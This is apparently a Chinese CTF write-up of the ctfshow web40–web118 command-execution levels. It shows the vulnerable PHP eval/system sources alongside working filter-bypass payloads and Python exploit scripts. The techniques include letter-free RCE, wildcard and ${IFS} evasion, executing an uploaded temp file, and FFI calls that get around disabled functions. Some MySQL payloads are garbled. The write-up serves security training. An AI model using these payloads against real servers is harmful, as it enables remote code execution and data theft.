show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

web41

1
2
3
4
5
6
7
8
9
10
11
12
源码:
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
过滤了数字和字母还有一些其他符号,但我们可以利用或运算符进行构造payload进行命令执行。因为[0-9]|[a-z]被过滤,所以应该是无数字字母的rce,$、+、-、^、~被过滤,所以用|

南神的解释:
例如源码中禁止我们使用了数字3,也就是ascii码值为51,我们可以使用或运算符在没有被禁止的字符中构造出51来,比如19和32没有被禁止,我们进行或运算19|32=51,就可以获得51这个ascii码值,也就是成功得到了数字3

参考yu22x师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
生成可用的字符:
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
使用上面生成的字符文件进行操作
python exp.py url
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

结合dota_st师傅的脚本(将上面两个脚本结合起来):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web41异或运算.py
# time: 2023/4/9 15:59
import requests
import urllib
import re
from sys import *

if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("=" * 50)
exit(0)
url = argv[1]


# 生成可用的字符,存放在rce.txt
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)


main()

web42(终止代码段绕过)

1
2
3
4
5
6
7
8
9
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
又回到system函数执行,但是强制给参数加>/dev/null 2>&1

(1):> 代表重定向到哪里,例如:echo “123” > /home/123.txt
(2):/dev/null 代表空设备文件
(3):2> 表示stderr标准错误
(4):& 表示等同于的意思,2>&1,表示2的输出重定向等同于1,也就是1也被重定向了
(5):1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成”1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

“ >/dev/null 2>&1 “ 或 “ 1>/dev/null 2>&1 “常用来避免shell命令或者程序等运行中有内容输出。

所以我们要是输入?c=ls它是不会有回显的,那怎么办呢?我们可以用分隔符将该命令分隔开,防止影响我们的代码运行

分隔符 描述
如果每个命令都被一个 ;所分隔,那么命令会连续地执行下去
&& 执行错误检查命令,如果其左侧的命令不返回预期的结果,其右侧的命令就不会执行
& 不执行错误检查和运行所有命令
|| 若遇到可以成功执行的命令,那么命令停止执行,即使后面还有正确的命令。假如命令一开始就执行失败,那么就会执行||后的下一个命令,直到遇到可以成功执行的命令为止,假如所有的都失败,则所有这些失败的命令都会被尝试执行一次
| 即使遇到可以成功执行的命令,命令也会继续执行下去,并且会显示最后一个命令的执行结果
1
?c=ls; 这样子的话ls命令是不受后面语句的影响的,可以出现回显

1
2
?c=tac flag.php;
?c=ca\t fla*; #cat命令需要查看源代码才能看到flag

为什么cat不能直接显示?两种命令最后都能的得到flag,但是区别是tac输入后直接就把flag显示出来了,而cat需要我们查看源代码。这是为什么呢?

对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后就不是php语句了,在html语句里就会直接显示出来,所以那些需要查看原代码的命令可能是因为基于php却没有echo命令导致的比如uniq也是。

web43

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了分号;分隔符和cat,我们还可以用其他的
1
?c=tac flag||

web44

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
相对于上一关,多过滤了flag,我们用回老方法,通配符或者引号
1
2
?c=tac fla*||
?c=tac fla''g.ph''p||

web45

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了空格,我们使用url编码绕过,%20不行,%09可以
1
2
?c=tac%09flag*||
?c=tac${IFS}$9fla*||

web46

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了空格 数字 $ *

通配符*过滤,我们可以改用?进行匹配,或者单引号切割,同时空格的话还是可以继续使用%09,它不属于过滤的数字范畴

1
2
?c=tac%09fla?.php||
?c=tac%09fl''ag.p''hp||

web47(常用读取函数)

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了几个读取文件的命令,但是没有过滤掉tac,可以继续使用上一把payload
1
?c=tac%09fla?.php||
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
常用的读取文件/输出函数命令:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行显示到第一行,可以看出 tac 是 cat 的反向显示
rev:从最后一个字符显示到第一个字符
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep:在当前目录中,查找后缀有file字样的文件中包含test字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:grep test *file
strings:

web48

1
2
3
4
5
6
7
8
9
10
11
12
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match
("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了一大堆,没过滤tac,继续使用上把的payload
1
?c=tac%09fla?.php||

web49

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
按理说过滤了% 但是%09还能用,所以上一把payload
1
2
3
4
5
?c=tac%09fla?.php||  //按理说不应该执行成功

我们使用重定向符号< 或<>绕过空格:
?c=tac<fla''g.php||
?c=tac<>fla''g.php||

web50

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还是没有过滤tac,使用上把payload
1
2
?c=tac<>fla\g.php|| //不知道为什么<>和?一起用不显示,使用\和''也可以
?c=tac<>fla''g.php||

web51

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次对tac进行了过滤,我们可以用\或''分割进行绕过
1
2
?c=ta\c<>fla\g.php||
?c=ta''c<>fla''g.php||

web52

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了尖括号,但是放开了$和{ },我们用这个绕过空格
1
?c=ta\c${IFS}fla\g.ph\p||

但是得到的不是flag,应该不在这个路径下了

使用命令查找上级目录

1
2
3
4
当前目录:/var/www/html
?c=ls${IFS}../|| #上一级目录 www
?c=ls${IFS}../../|| #上两级目录 var
?c=ls${IFS}../../../|| #根目录 /

发现在根目录下

1
?c=ta\c${IFS}../../../fla\g||

web53

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
过滤还是老样子,命令执行后直接输出,使用了拼接“echo "<br>".$d;”在输出前连接了<br>,表示换行,不影响,且使命令结果不显示的代码“>/dev/null 2>&1”被去掉了,所以我们去掉||即可
1
2
?c=tac${IFS}fla\g.p\hp
?c=ca\t${IFS}fla\g.p\hp #cat居然能用了

web54

1
2
3
4
5
6
7
8
9
10
11
12
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了好多字母,|.*c.*a.*t.*|的意思是cat和cat之间插入字符都被过滤了,所以也不能会用\的形式进行分割,但还有另一个读取的命令grep可以使用
grep:在当前目录中,查找后缀有file字样的文件中包含test字符串的文件,并打印出该字符串的行。此时,可以使用这个命令 grep test *file
1
2
3
4
?c=grep${IFS}fl${IFS}fla?.php
?c=/bin/?at${IFS}f??????? #cat命令在/bin目录下
?c=/bin/?at${IFS}/var/www/html/fla?.php #不知道为什么不行
?c=uniq${IFS}f???.php #执行后右键查看源代码即可

web55

1
2
3
4
5
6
7
8
9
10
11
12
13
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这次把字母都给禁掉了,一般遇到这情况最容易想到的应该是进行异或运算等等办法进行构造,在这里他没有禁掉数字,我们有其他略微方便点的方法,就是通过匹配bin下存在的命令进行读取flag
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

这里没有禁用数字所以我们可以使用base64命令,构造如下

1
?c=/???/????64 ????.???     也就是?c=/bin/base64 flag.php

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web55.py
# time: 2023/4/12 23:59
import base64
import requests
import re

url = "http://7e0f495d-f8ad-4fea-a4e8-56f3864e7202.challenge.ctf.show/"
shell_url = url+"?c=/???/????64 ????.???"
res = requests.get(url=shell_url)
flag = re.search("(ctfshow{.*})",bytes.decode(base64.b64decode(res.text)))
flag = flag.group(1)
print(flag)

可以参考一些文章:
[P神 -无字母数字webshell之提高篇 _ 离别歌 ](离线网页\无字母数字webshell之提高篇 _ 离别歌 (2023_4_13 00_06_04).html)

[无字母数字的命令执行](离线网页\无字母数字的命令执行(ctfshow web入门 55)_无字幕命令执行 ctf_Firebasky的博客-CSDN博客 (2023_4_13 00_18_32).html)

web56

1
2
3
4
5
6
7
8
9
10
11
源码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了字母和数字,所以我们不能使用上一关的payload了

根据P神的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母,但不一定是,可能需要多匹配几次。容易想到的匹配方式就是利用进行匹配,即???/?????????,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?

观察ASCII码表我们发现在大写A之前是@符号,Z后是[符号,所以我们可以这样匹配???/????????[@-[],想不到通配符还可以这样用吧,[^0-9]表示该位置不是数字,是不是和正则那一套一样样的

那么我们应该如何执行我们上传的文件呢?P神文章中指出可以使用.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令,而且用. file执行文件,是不需要file有x权限的。所以思路就是我们可以上传一个文件test.txt,文件中写着我们要执行的命令ls,最后使用. test.txt执行就可以了

根据南神的文章写一个脚本,可能需要多运行几次,因为最后一位不一定是大写字母,所以多上传几次多匹配几次才可能成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web56.py
# time: 2023/4/13 0:22
import requests
import re
url = "http://f3e9fa35-35fa-4ea2-af99-fe6e55f592f7.challenge.ctf.show/?c=. /???/????????[@-[]"
res = requests.post(url, files={"file": ("test.txt", "cat flag.php")})#post一个文件上去
flag = re.search("(ctfshow{.*?})", res.text)
flag = flag.group()
if len(flag) >1:
print(flag)

----------------------------------------------------------------------------------------------------
南神代码:
import requests
while True:
url = "http://f3e9fa35-35fa-4ea2-af99-fe6e55f592f7.challenge.ctf.show/?c=. /???/????????[@-[]"
res = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
flag = res.text.split('ctfshow')
if len(flag) >1:
print(res.text)
break

web57

1
2
3
4
5
6
7
8
9
10
11
12
源码:
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤数字和字母,使用system("cat ".$c.".php")执行,而且已经给了cat和.php,我们只需要构造出36就可以了,在shell中可以利用$和()进行构造数字

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

我们只要构造出-37然后取反就可以得到36

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

结果

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

因为是cat,查看源码

web58

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
没有过滤,但是参数传递很奇怪,可以直接使用蚁剑连接,但是应该考察文件读取

一些文件读取函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
1
payload:c=show_source("flag.php");

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web58.py
# time: 2023/4/19 19:04
import requests
import re
url = "http://d3eb9cfc-e620-4c6a-bc64-b8d0fdc1f017.challenge.ctf.show/"
data = {
"c":"show_source(\"flag.php\");"
}
res = requests.post(url = url ,data = data)
flag = re.search("(ctfshow{.*?})",res.text)
flag = flag.group(1)
print(flag)

web59

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,但是应该做了过滤,只是我们看不到源码,show_source()还可以用
1
payload:c=show_source("flag.php");

web60

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()还能用
1
payload:c=show_source("flag.php");

web61

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()还能用
1
payload: c=show_source("flag.php");

web62

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()还能用
1
payload:c=show_source("flag.php");

web63

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()还能用
1
c=show_source("flag.php");

web64

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()还能用
1
c=show_source("flag.php");

web65

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()还能用
1
c=show_source("flag.php");

web66

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变,show_source()不能用了,尝试使用其他函数 highlight_file($filename);
1
payload:c=highlight_file("flag.php");

但是flag不在这里

查看根目录下文件

1
c=print_r(scandir("/"));

读取根目录下的这个文件

1
c=highlight_file("/flag.txt");

web67

1
2
3
4
5
6
7
8
9
10
源码:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码不变

使用print_r查看目录被ban

1
c=print_r(scandir("/"));

web67

改用var_dump,发现flag.txt

1
c=var_dump(scandir("/"));

1
payload: c=highlight_file("/flag.txt");

web68

1
无源码 

明显禁用了 highlight_file() 函数,连源码都看不到了,盲猜还是c变量POST请求,先试试能不能打印目录文件

1
c=var_dump(scandir("/"));

尝试读取flag,禁用了很多文件读取函数,include()可以用

1
c=include("/flag.txt");

web69

1
无源码

同样显示禁用了某某函数

1
2
c=var_dump(scandir("/"));
c=print_r(scandir("/"));

显示被禁用,那我们用别的,区别请看web40

1
c=var_export(scandir("/"));

打印一下文件

1
c=include("/flag.txt");

web70

1
无源码

尝试打印文件目录

1
c=var_export(scandir("/"));

1
打印输出 c=include("/flag.txt");

web71

1
题目提供.php文件,下载查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

代码显示关闭报错,传入的参数先被缓冲区接收随后缓冲区数据经过正则过滤后打印输出,被匹配到的数字和字母都会被替换成? 。

1
c=var_export(scandir("/")); 试试水

如何绕过呢?我们发现正则匹配在eval()函数之后被执行的,我只要eval执行就可以了,那我们可以提前终止语句的执行,在payload后添加终止函数exit(),这个web42有异曲同工之妙

1
2
c=var_export(scandir("/"));exit();
c=var_export(scandir("/"));quit();

读取打印flag

1
c=include("/flag.txt");exit();

web72(未完成)

题目提供.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

代码不变,但是读取不了目录了

web73

依旧没有源码

先查看目录,后四种任选一个

1
2
3
4
5
6
7
8
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
1
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();

文件名改变了,注意

打印

1
c=include("/flagc.txt");exit();

web74

无源码

查目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()."/");};exit();

打印flag

1
c=include("/flagx.txt");exit();

web75

无源码

查看目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()."/");};exit();

尝试读取flag

1
c=include("/flag36.txt");exit();

好家伙读取不了了

查看提示,需要使用MySQL的load_file读取

1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh>query('selectload_file("/flag36.txt")')as$row{echo($row[0])."|";}$dbh=null;}catch(PDOException$e{echo$e>getMessage();exit(0);}exit(0);

在burpsuite中进行url编码,看操作,payload要将多余的空格删掉才能运行

web76

无源码

查看目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()."/");};exit();

使用上一把的load_file

1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh>query('selectload_file("/flag36d.txt")')as$row{echo($row[0])."|";}$dbh=null;}catch(PDOException$e{echo$e>getMessage();exit(0);}exit(0);

web77

无源码

读取目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()."/");};exit();

题目提到了PHP7.4,有新特性,上网查资料发现 FFI

PHP7.4中FFI的介绍.html

我们利用新特性读取flag,因为这里flag36x.txt无法显示,所以我们要利用readflag文件,将它重新输入到flag.txt中去

1
2
3
4
5
6
7
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

解析:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

随后访问flag.txt就可以了

web118

题目提示flag in flag.php

这样一个页面,输入字符会显示 evil input,经过fuzz测试显示只能大写字母和和${}:?.~ 空格字符可以通过

右键查看源码,源码提示system会执行输入的参数

思路差不多就是利用环境变量拼接,因为 $XXX 是代表变量的意思,那么通过system来执行 $XXX 就会打印该变量的值,例如查询当前工作路径的命令为pwd,而执行echo $PWD 效果一样,$PWD是Linux自带的系统变量,使用env命令可以查看所有系统变量

方法:使用echo进行查看

  • 第一种:echo $变量名
  • 第二种(推荐):echo ${变量名}

常见环境变量 linux常用系统变量.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$0 当前程序的名称
$n 当前程序的第n个参数,n=1,2,…9
$* 当前程序的所有参数(不包括程序本身)
$# 当前程序的参数个数(不包括程序本身)
$$ 当前程序的PID
$@ 与$#相同,但是使用时加引号,并在引号中返回每个参数
$- 显示shell使用的当前选项,与set命令功能相同
$! 执行上一个指令的PID(好像不行?)
$? 执行上一个指令的返回值

echo $USER 表示当前用户的登录名称,值与whoami命令的结果一致
